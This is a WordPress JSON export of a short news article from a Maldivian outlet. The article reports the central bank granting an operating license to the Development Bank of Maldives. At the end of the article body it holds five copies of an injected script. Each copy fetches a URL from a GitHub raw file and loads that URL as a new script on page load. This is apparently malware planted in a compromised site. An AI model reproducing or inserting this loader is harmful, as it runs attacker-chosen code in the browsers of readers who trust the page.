{"id":10390,"date":"2024-10-13T20:49:49","date_gmt":"2024-10-13T15:49:49","guid":{"rendered":"https:\/\/mbt.mv\/?p=10390"},"modified":"2024-10-13T20:49:49","modified_gmt":"2024-10-13T15:49:49","slug":"dbm-receives-operating-license-from-mma","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=10390","title":{"rendered":"DBM receives operating license from MMA"},"content":{"rendered":"<p>The Maldives Monetary Authority (MMA) on Sunday has granted the operating license to the Development Bank of Maldives (DBM).<\/p>\n<p>The license was handed over by Maldives governor Ahmed Munawar, which was received by the Minister of Economic Development Mohamed Saeed during a ceremony on Sunday.<\/p>\n<p>The minister, via microblogging social platform X, said the awarding of the license is a significant and historic milestone for the Maldives as envisioned by the President Dr. Mohamed Muizzu, in his manifesto and economic development plan.<\/p>\n<p>The central bank, in a statement expressed belief that the commencement of DBM services will enhance the introduction of long-term financing services.<\/p>\n<p>&#8220;The MMA consider this an important step towards expanding and developing the financial sector of the Maldives,&#8221; the statement read.<\/p>\n<p>The new bank is required to commence its operations latest by October 12, 2025.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives Monetary Authority (MMA) on Sunday has granted the operating license to the Development Bank of Maldives (DBM). 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